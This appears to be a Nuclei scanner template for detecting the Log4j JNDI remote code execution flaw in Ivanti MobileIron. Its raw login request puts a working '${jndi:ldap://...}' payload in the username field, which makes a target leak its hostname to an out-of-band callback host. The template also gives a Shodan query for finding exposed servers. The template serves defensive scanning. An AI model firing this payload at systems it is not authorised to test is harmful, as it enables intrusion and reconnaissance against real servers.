57 lines
2.2 KiB
YAML
57 lines
2.2 KiB
YAML
id: mobileiron-log4j-jndi-rce
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info:
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name: Ivanti MobileIron - JNDI Remote Command Execution (Apache Log4j)
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author: meme-lord
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severity: critical
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description: Ivanti MobileIron Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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reference:
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- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
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- https://www.lunasec.io/docs/blog/log4j-zero-day/
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- https://www.zdnet.com/article/mobileiron-customers-urged-to-patch-systems-due-to-potential-log4j-exploitation/
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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remediation: Upgrade to version 2.14.2 or higher of MobileIron. If this is not possible, several Log4j exploit workarounds are available.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-917
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metadata:
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shodan-query: http.html:"MobileIron"
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verified: "true"
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tags: jndi,log4j,rce,cve,cve2021,ivanti,oast,mobileiron,kev
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requests:
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- raw:
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- |
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POST /mifs/j_spring_security_check HTTP/1.1
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Referer: {{RootURL}}/mifs/user/login.jsp
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Content-Type: application/x-www-form-urlencoded
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j_username=${jndi:ldap://${hostName}.{{interactsh-url}}}&j_password=password&logincontext=employee
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: word
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part: location
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words:
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- '/mifs/user/login.jsp?error=1'
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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